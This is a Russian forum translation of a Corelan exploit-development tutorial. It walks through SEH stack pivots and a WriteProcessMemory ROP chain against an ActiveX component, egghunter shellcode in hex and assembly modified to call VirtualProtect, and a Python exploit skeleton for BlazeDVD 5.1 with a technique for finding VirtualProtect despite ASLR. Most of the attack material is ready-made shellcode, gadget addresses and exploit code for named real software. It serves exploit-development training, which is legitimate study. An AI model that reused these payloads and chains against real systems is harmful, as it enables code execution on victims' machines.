Так, мы видим что от ESP до первых “А - addr= 1A6E754” в стеке ( 01A6E34C + 1032 байта ). Это означает, что, если мы хотим вернуться из SE Handler нашего буфера, у нас есть для разворота стека по крайней мере 1032 байт(0x408 или более). Мой хороший друг Линкольн сгенерировал ROP файл и нашел указатель, чтобы добавить ESP, 46C + RET в sshelper.dll - 0x06471613

Это означает, что, если мы перепишем наш SE обработчик указателем на ADD ESP, 46C + RET, то это даст нам возможность управлять ходом выполнения программы и начнётся наша ROP цепь .

Измените сценарий и замените “SEH = …” строку на:

seh = unescape("%13%16%47%06")

Откройте файл в Internet Explorer снова (Immunity debugger приатачте к нему), и разрешите запуск элементов ActiveX. Когда произойдет сбой, наблюдайте SEH цепь и убедитесь, что он переписывается с правильным указателем

Установить точку останова на 0x06471613. Пропустите исключение (дважды, если требуется,) до тех пор, пока сработает точка останова.

В этот момент, ESP указывает на 01A5E330

Затем используйте F7 . Когда “ADD ESP, 46C” команда выполняется, проверьте ESP (содержимое в верхней части стека):

Потрясающи, это означает, что мы смогли повернуть стек обратно в место, где мы можем инициировать ROP цепь.

С этого момента, это эксплоит может быть построен так же, как любой другой ROP эксплоит:

  • Установите вашу стратегию ( WriteProcessMemory - в этом случае , но вы можете использовать другую текнику)
  • Получите ваш ROP гаджеты (!mona rop)
  • и построить цепочку

Но прежде всего, нужно будет выяснить, где именно "А " находятся , так чтобы мы могли начать ROP цепь в нужном месте.

Вы заметите, когда вы пытаетесь найти смещение в (IE6, IE7), что смещение может измениться. Она может варьироваться от 72 где-то байт и 100 байт (100 байт максимум)

Это означает, что мы не на 100% уверенны, где мы будем приземляться в буфере.

Но есть такая вещь, как ROP-совместимый NOP?

ROP NOP

Для того, чтобы сделать эксплоит универсальный (без необходимости создания нескольких ROP цепей внутри одного эксплойта), вы можете просто “spray” в некоторых регионах стека ROP NOPs, в основном в лице указателей на RET. Каждый раз, когда RET вызывается, он будет скользить / перейти к следующему ret не делая ничего плохого.

Так вот вроде как NOP.

Поиск ROP NOPS, это не так сложно. Любой указатель на RET будет возвращаться к нашему эксплотиту

Построение ROP цепи - WriteProcessMemory()

Построить стек для заданной функции может быть сделано различными способами. Я просто объясню, как Линкольн построил свою цепочку ROP и повернул ошибку в рабочей DEP bypassing exploit

Важное примечание: мы имеем дело с плохими символами: байты между 80 и 9f следует избегать.

В его эксплоите, Линкольн решил использовать PUSHAD чтобы поставить параметры в стеке, в нужном месте, а затем сделать вызов функции (WriteProcessMemory() в данном случае).

Прежде всего, убедитесь, что цепь ROP будет запущена, даже если место, где мы приземляемся после ADD ESP,46C инструкция отличается, он использовал ряд RET указателей (0x06471619) как NOP-ы:

Затем он ставит 0x064BC001 в EBP (с помощью pop-EBP + ret гаджет - 0x0644B633), и использует цепь инструкций (по 0x0647B965), чтобы загрузить 5 «параметров» в регистры:

После того как 5 POP’s выполнятся, регистры будут выглядеть следующим образом:

Далее, он генерирует длину шеллкода. Он использует 3 ADD EAX, 80 инструкции, а затем добавляет к текущего значения в EBX:

Result:

Таким образом, длина Шеллкод теперь размещена в EBX.

ROP гаджеты, которые были использованы для достижения этой цели, являются POP EAX (взять 0xCCD0731F из стека), а затем сделать SUB EAX, ECX. Наконец, это значение помещается в EBP.

Примечание: причина, почему Линкольн не мог просто pop 7C9022CF в EBP, потому что конкретно этот адрес содержит "плохой символ " - мы не можем использовать байт 0x80. ECX уже содержит 50505050, таким образом он использовал инструкцию SUB (с заранее рассчитанным значением в EAX), чтобы воспроизвести этот указатель. Смарт мышление!

Это ROP субцепь поставит 7C9022CF в EBP. Этот адрес будет целевое местоположение, чтобы записать ваш шеллкод . В сущности, мы будем патчить функцию WriteProcessMemory(),

Последний гаджет на самом деле не заканчиваются на RET. Вместо этого, он будет делать вызов ESI.

Пришли где ESI ? Помните 5 POP’s мы делали раньше? Ну, мы просто поставили значение в стек, которое потом pop в ESI. И это значение является указателем на следующую инструкцию:

После - RETN указатель на следующий ROP гаджет

Используя этот гаджет, ESI будет установлен - FFFFFFFF. Это значение будет использоваться в качестве параметра hProcess позже

Далее, CCD07263 извлекается в EAX, и после этого, SUB EAX, ECX.

После выполнения этих инструкций, результат в EAX будет 7C802213 (который является указателем на kernel32.WriteProcessMemory)

Наконец, инструкция PUSHAD:

После этого вершина стека будет выглядеть следующим образом:

Когда функция вернется к pushad, она будет выполнять инструкции - 0x0647BD7C (которые берут начало из EDI, помещенные в этот регистр, выпослненные ранее 5 POP’s)

Эта инструкция просто сделает Call EAX. В EAX, у нас еще есть указатель на kernel32.WriteProcessMemory(). Когда вызов EAX сделан, следующие параметры берутся из стека:

Первый параметр не имеет значения. Код будет патчить WPM(),. Затем параметр hProcess (FFFFFFFF) и Address = 78022CF (место где записать шеллкод ) , а затем Buffer = 01A6E7F8 (место нахождения шеллкода. Этот указатель был взят из ESP. Так после PUSHAD также смещается ESP (и так как мы разместили наш шеллкод сразу после ROP цепи), этот указатель теперь указывает на шеллкод.

Значение BytesToWrite было создано ранее. Наконец, последний параметр просто указывает на место для записи.

Во-первых, сбросить содержимое - 0x78022CF:

Нажмите клавишу F7. После вызова ntdll.ZwWriteVirtualMemory производится ( 7C8022C9), прежде, чем инструкция RETN 14 выполняется в конце этого вызова, мы видим, что наш шеллкод был скопирован - 7C8022CF:

Когда инструкция RETN 14 выполнена, мы приземляемся на красиво - 7C8022CF, которая просто является следующей инструкции в естественном потоке WriteProcessMemory()

Так как это место в настоящее время содержит шеллкод, который будет выполнен.

Result:

Вывод: в этом ROP эксплоите, была использована другая техника , чтобы положить параметры в стек. Параметры впервые генерируется (с помощью ADD и SUB) и POP в регистры. Наконец, инструкция PUSHAD ставит инструкци в нужном месте, и CALL к API .

Egghunters

В 8 -м туториале, я рассматривал внутренности egghunters. Подводя итоги концепции egg hunter, вы должны уже уметь выполнить небольшой объем кода, который будет искать реальный шеллкод (в стеке или в куче) и выполнить его.

Вы уже должны знать, как получить egg hunter и запускать, используя ROP. Egghunter лишь некоторый “небольшой” Шеллкод, так что вы должны просто применить последовательность ROP, чтобы сделать egg hunter и запустить.

Когда egg hunter найдет шелл-код, он будет прыгать на базовый адрес шеллкода. Конечно, когда DEP включена, это скорее всего не сработает.

Это означает, что мы должны вставить вторую цепь ROP, чтобы убедиться, что мы можем отметить шелл-код как исполняемый.

Есть 2 способа сделать это:

  • добавить ROP к egg hunter
  • предварять заключительный шелл-код с обычной ROP

Давайте взглянем на то, как должны быть реализованы эти 2-а сценария, используя egg hunter (с помощью NtAccessCheckAndAuditAlarm):

681CAFF0F   or dx,0x0fff   
42          inc edx        
52          push edx       
6A02        push byte +0x2 
58          pop eax        
CD2E        int 0x2e       
3C05        cmp al,0x5  
5A          pop edx     
74EF        je xxxx     
B877303074  mov eax,0x74303077 
8BFA        mov edi,edx    
AF          scasd          
75EA        jnz xxxxxx     
AF          scasd          
75E7        jnz xxxxx      
FFE7        jmp edi

Как вы можете видеть, в конце этого egg hunter (когда шеллкод был найден), адрес шеллкода будет храниться в EDI. Последняя инструкция egg hunter перейдет к EDI и попытаться выполнить шеллкод. Когда DEP включена, прыжок будет, но исполнение шеллкода не будет.

Как мы можем это исправить?

Scenario 1: patch the egg hunter

В этом первом сценарии, я буду изменять egg hunter , чтобы убедиться, что место, где находится шеллкод, будет помечено как исполняемое в первую очередь.

“JMP EDI” Инструкция (которая сделает прыжок) должна быть удалена.

Далее, мы должны отметить память, где Шеллкод, как исполняемую. Мы можем сделать это по call VirtualProtect(). К счастью, мы не должны использовать ROP в этот раз, мы можем просто написать код на ассемблере и добавить его к egg hunter . Это будет выполнено нормально (потому что текущее местоположение уже исполняемое )

Дополнительный код, который должен быть записан. Необходимо выработать следующие значения в стеке:

  • Return address: это адрес в EDI - указывает на шеллкод. Это позволит убедиться что шеллкод будет выполнен автоматически после call VirtualProtect()
  • lpAddress: тот же адрес, как “return address”
  • Size: shellcode size
  • flNewProtect: установите 0x40
  • lpflOldProtect: указатель на записываемое место

Наконец, нужно вызвать функция VirtualProtect() (убедившись, что первый параметр в верхней части стека), и вот оно:

Образец ASM кода:

[bits 32]
push 0x10035005    ;param5: writable address
;0x40
xor eax,eax
add al,0x40
push eax           ;param4: flNewProtect
;shellcode length - use 0x300 in this example
add eax,0x7FFFFFBF
sub eax,0x7FFFFCFF
push eax         ;param3: size: 0x300 bytes in this case
push edi           ;param2: lpAddress
push edi           ;param1: return address
push 0x7C801AD4    ;VirtualProtect
ret

или opcode:

"\x68\x05\x50\x03\x10\x31\xc0\x04".
"\x40\x50\x05\xbf\xff\xff\x7f\x2d".
"\xff\xfc\xff\x7f\x50\x57\x57\x68".
"\xd4\x1a\x80\x7c\xc3";

В основном, весь egg hunter будет выглядеть следующим образом:

#-------------------------------------------------------------------
#corelanc0d3r - egg hunter which will mark shellcode loc executable
#size to mark as executable: 300 bytes
#writeable location: 10035005
#XP SP3
#-------------------------------------------------------------------
my $egghunter =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02".
"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF". #no more jmp edi at the end
#VirtualProtect
"\x68\x05\x50\x03\x10\x31\xc0\x04".
"\x40\x50\x05\xbf\xff\xff\x7f\x2d".
"\xff\xfc\xff\x7f\x50\x57\x57\x68".
"\xd4\x1a\x80\x7c\xc3";

Просто изменить “shellcode_size” и “writeable_address” переменные в asm коде , чтобы соответствовало вашему конкретному эксплоиту, и вы можете использовать его

;----------------------------------------
;quick and dirty asm
;to locate VirtualProtect
;use it to make shellcode at edi
;executable, and jump to it
;
;Peter Van Eeckhoutte 'corelanc0d3r
;http://www.corelan.be
;----------------------------------------
;modify these values
;to match your environment
shellcode_size equ 0x100
writeable_address equ 0x10035005
hash_virtualprotect equ 0x7946C61B
;
;
[BITS 32]

global _start

_start:
FLDPI
FSTENV [ESP-0xC]
pop eax
push edi  ;save shellcode location
push eax  ;current location
xor edx,edx
mov dl,0x7D   ;offset to start_main

;skylined technique
  XOR     ECX, ECX             ; ECX = 0
  MOV     ESI, [FS:ECX + 0x30] ; ESI = &(PEB) ([FS:0x30])
  MOV     ESI, [ESI + 0x0C]    ; ESI = PEB->Ldr
  MOV     ESI, [ESI + 0x1C]    ; ESI = PEB->Ldr.InInitOrder
next_module:
  MOV     EAX, [ESI + 0x08]    ; EBP = InInitOrder[X].base_address
  MOV     EDI, [ESI + 0x20]    ; EBP = InInitOrder[X].module_name (unicode)
  MOV     ESI, [ESI]           ; ESI = InInitOrder[X].flink (next module)
  CMP     [EDI + 12*2], CL     ; modulename[12] == 0 ?
  JNE     next_module          ; No: try next module.

;jmp start_main     ; replace this with relative jump forward
pop ecx
add ecx,edx
jmp ecx            ;jmp start_main 
   
;=======Function: Find function base address============
find_function:
pushad                           ;save all registers
mov ebp,  [esp  +  0x24]         ;put base address of module that is being 
                                 ;loaded in ebp
mov eax,  [ebp  +  0x3c]         ;skip over MSDOS header
mov edx,  [ebp  +  eax  +  0x78] ;go to export table and put relative address 
                                 ;in edx
add edx,  ebp                    ;add base address to it. 
                                 ;edx = absolute address of export table
mov ecx,  [edx  +  0x18]         ;set up counter ECX 
                                 ;(how many exported items are in array ?)
mov ebx,  [edx  +  0x20]         ;put names table relative offset in ebx
add ebx,  ebp                    ;add base address to it. 
                                 ;ebx = absolute address of names table

find_function_loop:
jecxz  find_function_finished    ;if ecx=0, then last symbol has been checked.
                                 ;(should never happen)
                                 ;unless function could not be found
dec ecx                          ;ecx=ecx-1
mov esi,  [ebx  +  ecx  *  4]    ;get relative offset of the name associated 
                                 ;with the current symbol
                                 ;and store offset in esi
add esi,  ebp                    ;add base address. 
                                 ;esi = absolute address of current symbol

compute_hash:
xor edi,  edi                    ;zero out edi
xor eax,  eax                    ;zero out eax
cld                              ;clear direction flag. 
                                 ;will make sure that it increments instead of 
                                 ;decrements when using lods*

compute_hash_again:
lodsb                            ;load bytes at esi (current symbol name) 
                                 ;into al, + increment esi
test al,  al                      ;bitwise test: 
                                 ;see if end of string has been reached
jz  compute_hash_finished        ;if zero flag is set = end of string reached
ror edi,  0xd                    ;if zero flag is not set, rotate current 
                                 ;value of hash 13 bits to the right
add edi,  eax                    ;add current character of symbol name 
                                 ;to hash accumulator
jmp compute_hash_again           ;continue loop

compute_hash_finished:

find_function_compare:
cmp edi,  [esp  +  0x28]         ;see if computed hash matches requested hash 
                                 ; (at esp+0x28)
                                 ;edi = current computed hash
                                 ;esi = current function name (string)
jnz find_function_loop           ;no match, go to next symbol
mov ebx,  [edx  +  0x24]         ;if match: extract ordinals table 
                                 ;relative offset and put in ebx
add ebx,  ebp                    ;add base address. 
                                 ;ebx = absolute address of ordinals address table
mov cx,  [ebx  +  2  *  ecx]     ;get current symbol ordinal number (2 bytes)
mov ebx,  [edx  +  0x1c]         ;get address table relative and put in ebx
add ebx,  ebp                    ;add base address. 
                                 ;ebx = absolute address of address table
mov eax,  [ebx  +  4  *  ecx]    ;get relative function offset from its ordinal 
                                 ;and put in eax
add eax,  ebp                    ;add base address. 
                                 ;eax = absolute address of function address
mov [esp  +  0x1c],  eax         ;overwrite stack copy of eax so popad 
                                 ;will return function address in eax
find_function_finished:
popad                           ;retrieve original registers. 
                                ;eax will contain function address
ret                                     
;-----------MAIN-------------
start_main:
    mov dl,0x04
    sub esp,edx      ;allocate space on stack
    mov ebp,esp      ;set ebp as frame ptr for relative offset
    mov edx,eax      ;save base address of kernel32 in edx
    ;find VirtualProtect
    push hash_virtualprotect
    push edx
    call find_function
    ;VirtualProtect is in eax now
    ;get shellcode location back
    pop edi
    pop edi
    pop edi
    pop edi  
    push writeable_address    ;param5: writable address
    ;generate 0x40 (para4)
    xor ebx,ebx
    add bl,0x40
    push ebx           ;param4: flNewProtect
    ;shellcode length 
    add ebx,0x7FFFFFBF  ;to compensate for 40 already in ebx
    sub ebx,0x7FFFFFFF-shellcode_size 
    push ebx         ;param3: size: 0x300 bytes in this case
    push edi         ;param2: lpAddress
    push edi         ;param1: return address
    push eax         ;VirtualProtect
    ret

В сочетании с egg hunter, код будет выглядеть следующим образом:

#-------------------------------------------------------------------
# corelanc0d3r - egg hunter which will mark shellcode loc executable
# and then jumps to it
# Works on all OSes (32bit) (dynamic VirtualProtect() lookup
# non-optimized - can be made a lot smaller !
#
# Current hardcoded values: 
#  - shellcode size: 300 bytes
#  - writeable address: 0x10035005
#-------------------------------------------------------------------
my $egghunter =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02".
"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF". 
#shellcode is now located. pointer is at edi
#dynamic call to VirtualProtect & jump to shellcode
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x58".
"\x57\x50\x31\xd2\xb2\x7d\x31\xc9".
"\x64\x8b\x71\x30\x8b\x76\x0c\x8b".
"\x76\x1c\x8b\x46\x08\x8b\x7e\x20".
"\x8b\x36\x38\x4f\x18\x75\xf3\x59".
"\x01\xd1\xff\xe1\x60\x8b\x6c\x24".
"\x24\x8b\x45\x3c\x8b\x54\x05\x78".
"\x01\xea\x8b\x4a\x18\x8b\x5a\x20".
"\x01\xeb\xe3\x37\x49\x8b\x34\x8b".
"\x01\xee\x31\xff\x31\xc0\xfc\xac".
"\x84\xc0\x74\x0a\xc1\xcf\x0d\x01".
"\xc7\xe9\xf1\xff\xff\xff\x3b\x7c".
"\x24\x28\x75\xde\x8b\x5a\x24\x01".
"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c".
"\x01\xeb\x8b\x04\x8b\x01\xe8\x89".
"\x44\x24\x1c\x61\xc3\xb2\x04\x29".
"\xd4\x89\xe5\x89\xc2\x68\x1b\xc6".
"\x46\x79\x52\xe8\x9c\xff\xff\xff".
"\x5f\x5f\x5f\x5f\x68\x05\x50\x03".
"\x10\x31\xdb\x80\xc3\x40\x53\x81".
"\xc3\xbf\xff\xff\x7f\x81\xeb\xff".
"\xfe\xff\x7f\x53\x57\x57\x50\xc3";

200 байт чуть больше для egg hunter, но эй, это может быть оптимизировано (хорошее упражнение для вас). С другой стороны, 200 байт будет приятно соответствовать в WPM(), так что у вас есть много вариантов, чтобы сделать эту работу.

Совет: если вы ранее выделели «свежую память", чтобы запустить egg hunter , то, возможно простой memcpy из шеллкода, в том же регионе, может работать, так же хорошо.

Scenario 2: prepend the shellcode

Если у вас нет достаточно места, чтобы бросить дополнительные 28 (или около 200 байт для общей версии), то вы можете сделать это:

Уберите “JMP EDI” , и заменить его на "push EDI», «ret» (x57 xc3)

Затем, в шеллкоде, между тегом (w00tw00t) и самом шеллкоде, вам придется ввести ROP цепь, которая должна отметить текущую страницу в качестве исполняемой и запустить.

Если вы поняли этот урок , вы должны знать, как осуществить это.

Unicode

Что делать, если в вашем буфере появляется Unicode? Ну, ответ довольно прост: вам нужно будет найти юникод совместимые указатели ROP гаджетов.

“!mona ROP” укажет, является ли указатель Unicode совместимым … не используете “nonull” или вы не увидите никакого юникод адреса. Понятно, что Unicode будет уменьшать шансы на успешный exploit (потому что число указателей которые можно будет использовать , будет немного)

В дополнение к этому, вы также должны найти юникод указатели на Windows API чтобы обойти DEP.

Good luck!

ASLR and DEP?

Теория

Обход DEP и ASLR требует, чтобы по крайней мере был загружен один не ASLR модуль . (ну, это не совсем верно, но в большинстве случаев (считай: почти все случаи), это утверждение будет справедливо)

Алексей Синцов продемонстрировал эту технику в своей ProSSHD 1.2 exploit

Кроме того, вы должны найти указатель на модуль OS в стеке, в регистре, и т.д. … Если это произойдет, вы можете использовать ROP гаджеты от не-ASLR модуля, чтобы взять это значение и использовать смещение к этому значению, чтобы получить адрес функции ОС.

Плохая новость в том, что, если нет ни одного модуля, который не подлежит ASLR, то невозможно построить надежный эксплоит. (вы все еще можете попробовать некоторый bruteforcing и т.п … или найти утечки памяти / указатели на стек где-то). Хорошей новостью является то, что “!mona ROP” будет автоматически искать без ASLR модулей. Если “!mona ROP” показывает некоторый вывод, то адреса будут скорее всего надежными

.Если вы можете использовать инструкции из не-ASLR модуля, и у вас есть указатель на модуль ASLR (DLL ОС, например) в стеке (или в памяти), тогда, возможно, вы можете воспользоваться этим, и использовать смещение этого указателя, чтобы найти / использовать другие используемые инструкции из этого ASLR модуля. Базовый адрес модуля может измениться, но смещение к определенным функциям должны оставаться такими же.

Вы можете найти хороший write-up про эксплойт, который обходит технологии ASLR и DEP, без использования non ASLR модуля здесь.

Пример

В следующем примере, документтированным mr_me, я покажу технику использования ROP гаджетов от non ASLR модуля , для извлечения указателя на DLL ОС из стека и использовать смещение , чтобы вычислить адрес VirtualProtect.

Если мы можем найти указатель в стеке, который указывает на kernel32.dll, то мы можем изменить значение (add or sub смещение), пока мы не достигнем относительного адреса VirtualProtect().

Тестовая среда: Vista Business с пакетом обновления 2, Английский (Virtualbox).

Для этого примера мы будем использовать уязвимость в BlazeDVD Professional 5.1, обнаруженную в августе 2009 года Вы можете скачать уязвимую копию здесь:

Пожалуйста, войдите, чтобы скачать BlazeDVD 5.1 Professional (10,6 Мб)

После создания файла rop.txt (с помощью “!mona ROP nonull”), и после установки точки останова на SEH (так что мы можем вычислить смещение, чтобы вернуться в контролируемое место в стеке), можно сделать вывод, что, например, “ADD ESP, 408 + RET 4” гаджет ( 0x616074AE, из EPG.dll) будет хорошим местом для начала цепи. Эта инструкция поместит в буфере до SEH цепи, что хорошо

.Exploit код пока выглядит так:

#!/usr/bin/python
junk = "A" * 612
## SEH - pivot the stack
rop = 'xaex74x60x61' # 0x616074AE: # ADD ESP,408 # RETN 4 
sc = "B" * 500
buffer = junk + rop + sc 
file=open('rop.plf','w')
file.write(buffer)
file.close()

Установите точку останова на адрес - 0x616074AE , после того как сработает исключение нажмите Shift + F9 и вы окажетесь на установленном BP.
Исключение срабатывает, потому что мы перезаписали прямой RET (“А” в “junk” переменной). (Это означает, что вы можете построить прямой RET эксплоит. В любом случае, мы уже решили использовать SEH).

Мы наблюдаем в стеке, что когда SE Handler вызывается, сразу после выполнения команды “ADD ESP, 408” , мы видим это:

  1. Мы приземлимся на “А” перед тем как перезапишется SEH. Используя Metasploit pattern мы обнаружим, что мы приземляемся после 312 элементов в этом буфере. Это означает, что ваш первый указатель на гаджет должен быть помещен в этом месте.

  1. Прокрутите вниз в стека. После заполнения буфера (заполняется A’s + нашем SEH handler + B’s), вы увидите указатели в стеке, такие как “RETURN to … from …”:

Если вы прокрутите почти до конца вниз, вы найдете указатель на адрес в kernel32:

Цель в том, чтобы создать ROP цепочку, которая будет вызывать этот указатель, и add/sub смещение до тех пор, пока она не укажет на VirtualProtect. Указатель мы видим в стеке - 0x0012FF8C, это 0x7664D0E9. В текущем процесса / окружающей среды, kernel32.dll загружается по - 0x76600000.

VirtualProtect() находится - 0x76601DC3

Это означает, что функцию VirtualProtect() можно найти в [kernel32_baseaddress + 0x1DC3] или так [found_pointer - 0x4B326 байт]. Помните, что это смещение.

Перезагрузите машину и посмотрите, указатель все еще можно найти в том же месте (т.е. прокрутив вниз стека как горилось выше), смещение от указателя взятого из стека, VirtualProtect() по-прежнему то же самое.

После перезагрузки, kernel32.dll загружается по - 0x75590000. Функция VirtualProtect() = kernel32.baseaddress offset +0x1DC3:

В стеке адрес 0012FF8C содержит значение 755DD0E9. Если мы вычтем смещение (0x4B326 байт) , мы получим 75591DC3. И это VirtualProtect! Это означает, что мы нашли надежный способ - взять указатель на kernel32, и нашли надежное смещение, чтобы добраться до VirtualProtect().

Как мы можем получить это значение из стека в регистр , как мы можем использовать его для вызова API?

Ну, возможно, метод будет таким:

  • зарегистрировать точку по адресу из стека (0x0012FF8C в данном случае). Допустим, вы динамически создали это значение в EAX. (0x6162A59E + 0x61630804 + цепь из ADD EAX, ххх)
  • использовать гаджет, который будет делать что-то вроде этого: MOV EAX, [EAX] + ret. Это возмет указатель kernel32 и положит его в EAX. (вариации на эту инструкции будут тоже работать, - пример: MOV EAX, DWORD PTR DS: [EAX + 1С] - - 0x6160103B)
  • вычесть 0x4B326 байт от значения взятого из стека (в основном применяются статические смещения …), и вы будете иметь динамический путь, чтобы получить указатель на функцию в VirtualProtect, на Vista SP2, несмотря на то, что kernel32 поддерживает ASLR .

и что дальше… - это будет хорошим упражнением для вас.

Обновление (июнь 17-е): mr_me разместил свою Win7 версию DEP bypass exploit для BlazeDVD на exploit-db. Несмотря на то, что exploit доступен, я бы предложил, попытаться построить его самостоятельно (на Vista, Win7 или - не имеет значения … но эй, без обмана :slight_smile:

© Translated by gavz from r0 Crew

#3

Отдельное спасибо за перевод этой главы!